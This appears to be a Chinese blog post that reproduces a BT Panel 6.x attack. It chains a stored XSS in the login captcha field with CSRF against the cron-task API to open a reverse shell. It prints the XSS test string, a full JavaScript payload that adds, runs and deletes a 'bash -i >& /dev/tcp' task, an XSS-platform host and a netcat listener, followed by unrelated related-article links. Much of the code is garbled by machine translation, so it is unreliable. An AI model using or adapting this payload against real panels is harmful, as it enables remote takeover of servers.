对于宝塔漏洞复现和练习

0×00  什么是宝塔面板

宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统。一键配置:LAMP / LNMP ,网站,数据库,FTP ,SSL,通过Web 端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。

0×01  漏洞成因

在6.x Linux 版本宝塔面板当中当中,相对与5.x 版本,记录了验证码错误并存入数据库当中,存储XSS缺陷就是在此处产生。 同时利用CSRF结合宝塔的计划任务反弹shell。

0×02   漏洞复现

首先访问后台,宝塔一般部署在8888 端口,

我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

然后我们在登陆,在验证码处输入XSS 利用代码测试

<script>alert('xss')</ script> 

通过账号密码登陆宝塔后台,点开安全模块。我们可以看到触发了弹窗

由于宝塔面板的计划任务功能可以执行shell 脚本,所以我们可以基于这个xss 结合csrf 在计划任务功能处执行反弹shell 。

我们利用xss 平台(http://xsspt.com )新建一个项目执行自定义的js 脚本,修改里面的你的ip 和端口,代码如下

 function addTask(TaskName,execTime,ip,port){

    var execShell ='bash -i>&/ dev / tcp / your_ip / your_port 0>&1';

    execShell = encodeURIComponent(execShell);

    var params ='name ='+ TaskName +'&type = minute-n&where1 ='+ execTime +'&hour =&minute =&week =&sType = toShell&sBody ='+ execShell +'&sName =&backupTo = localhost&save =&urladdress = undefined'

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = AddCrontab',false);

    xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

    xhr.send(PARAMS);

}

function execTask(TaskName){

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = GetCrontab',true);

    xhr.send();

    xhr.onload = function(){

        if(this.readyState == 4 && this.status == 200){

            var res = JSON.parse(this.responseText);

            if(res [0] .name == TaskName){

                var TaskID = res [0] .id.toString();

                var xhr = new XMLHttpRequest();

                xhr.open('POST','/ crontab?action = StartTask',false);

                xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

                var params ='id ='+ TaskID;

                xhr.send(PARAMS);

                delTask(RES [0] .ID);

                的console.log(RES [0] .ID);

                return res [0] .id;

            }

        }

    }

}

function delTask(TaskID){

    var params ='id ='+ TaskID.toString();

    var xhr = new XMLHttpRequest();

    xhr.open('POST','/ crontab?action = DelCrontab',false);

    xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

    xhr.send(PARAMS);

}

var TaskName = Math.random()。toString(36).substring(7);

addTask(TASKNAME, '5', '1.1.1.1', '53');

execTask(TASKNAME);

在本地通过nc 监听反弹的端口,nc.exe -l -vv -p 反弹端口

在然后后台通过登陆面板的验证码处插入我们配置好的跨站网站脚本代码

在登陆宝塔后台面板,点开安全模块。我们可以看到壳成功反弹

宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell的更多相关文章

  1. 宝塔漏洞 XSS窃取宝塔面板管理员漏洞 高危

    宝塔是近几年刚崛起的一款服务器面板,深受各大站长的喜欢,windows2003 windows2008windosws 2012系统,linux centos deepin debian fedora ...

  2. 宝塔面板,Typecho,Lsky Pro图床安装

    宝塔面板,Typecho,Lsky Pro图床安装 本文安装包:链接:https://cloud.cangye.me/s/l3i4avjl 密码是宝塔面板4个汉字拼音首字母小写(防止被爬) 一,宝塔面 ...

  3. 宝塔面板设置腾迅COS自动备份网站

    之前写了如何配置腾迅云COS并挂载到服务器中,今天看到宝塔面板中有腾迅云COS的插件,不过研究了下,只是将COS绑定在宝塔面板中,不能自动备份,需要用到宝塔的计划任务功能 1.下载腾迅云COS插件 2 ...

  4. 宝塔面板下安装zabbix

    宝塔面板之前已经安装完成,如果不会可以查看上一个日志.接下来开始安装zabbix 1.添加系统用户和组 2. yum -y install epel-release #安装源 3.使用命令 yum - ...

  5. Vultr VPS建站攻略 – 一键安装宝塔面板架设LNMP/LAMP Web环境

    我们选择VULTR VPS建站的还是比较多的,其主要原因在于商家的稳定,毕竟我们用来建站选择服务器价格考虑的不是主要的(当然VULTR价格也是比较便宜),最为主要的是因为VULTR商家比较稳定,而且多 ...

  6. 腾讯云服务器安装宝塔面板快速配置LNMP/LAMP网站系统

    我们在选择购买腾讯云服务器之后,有部分用户肯定是用来建站用途的.毕竟云服务器的性能和功能比虚拟主机优秀很多.腾讯云服务器拥有香港.北京.广州.上海.美国等多个机房,可以安装Linux和Windows系 ...

  7. 宝塔面板 + Rancher + 阿里云镜像仓库 + Docker + Kubernetes,添加集群、部署 web 应用

    目录 一,安装宝塔面板(V 6.8) 二,使用宝塔安装 Docker,配置阿里云容器服务 三,安装 Rancher (Server) 四,管理 Rancher.添加集群 五,添加 Rancher 应用 ...

  8. 关于宝塔面板windows版6.2的一些使用心得

    关于宝塔面板windows版6.2的一些使用心得 第一次使用windows版本的 给客户搭建  asp+mssql的需求 心得1   安装   server2012 基于python开发的,所以安装的 ...

  9. Ubuntu宝塔面板设置网站 Apache Server API为Apache 2.0 Handler模式

    用过宝塔面板(https://www.bt.cn)的谁用谁知道:  以下来自官网的介绍: “宝塔Linux面板是提升运维效率的服务器管理软件,支持一键LAMP/LNMP/集群/监控/网站/FTP/数据 ...

随机推荐

  1. FreeSql (三十二)Aop

    FreeSql AOP 已有的功能介绍,未来为会根据用户需求不断增强. 审计 CRUD 马云说过,996是修福报.对于多数程序员来说,加班是好事...起码不是闲人,不会下岗. 当如果因为某个 sql ...

  2. hbase shell命令及Java接口介绍

    一. shell命令 1. 进入hbase命令行  ./hbase shell 2. 显示hbase中的表  list3. 创建user表,包含info.data两个列族create 'user', ...

  3. 【学习笔记】第六章 python核心技术与实践--深入浅出字符串

    [第五章]思考题答案,仅供参考: 思考题1:第一种方法更快,原因就是{}不需要去调用相关的函数: 思考题2:用列表作为key在这里是不被允许的,因为列表是一个动态变化的数据结构,字典当中的key要求是 ...

  4. Codeforces Round #585 (Div. 2)

    https://www.cnblogs.com/31415926535x/p/11553164.html 感觉很硬核啊这场,,越往后越做不动,,,emmmm,,,(这场是奔着最后一题 2sat 来的, ...

  5. Windows下更换MAC地址

    使用TMAC软件是最佳方案.官网地址:www.technitium.com

  6. docker harbor搭建笔记

    介绍 Harbor是VMware公司开源的一个用于存储和分发Docker镜像的企业级Registry服务器,以Docker开源的Registry为基础,通过添加一些企业必需的功能特性,例如安全.标识和 ...

  7. Win系统下使用命令链接MySQL数据库

    方法一: 1:打开[开始]>[运行]输入[cmd]单击[确定]后出现CMD命令黑色窗口,这就是我们说的CMD命令行 2:默认进入C盘,于是我们可以进入E盘,点击回车.因为我的数据库是存放在E盘的 ...

  8. 对于java的Sting.intern()的一些注意

    今天翻看书时遇到了这样一个问题,对于String.intern()方法又有了一些认识和看法.首先我们看它的api 大意就是intern()方法会在常量池中记录首次出现的实例引用,但是在jdk1.6中却 ...

  9. @Data注解getset不起作用

    在idea的setting安装Lombok插件,重启idea

  10. 阿里云服务器CentOS6.9 tomcat配置域名访问

    之前一直是ip访问项目,今天申请到一个测试域名,想要用设置用域名访问项目. 1.进入阿里云服务器中,修改tomcat中server.xml文件 cd /usr/local/apache-tomcat/ ...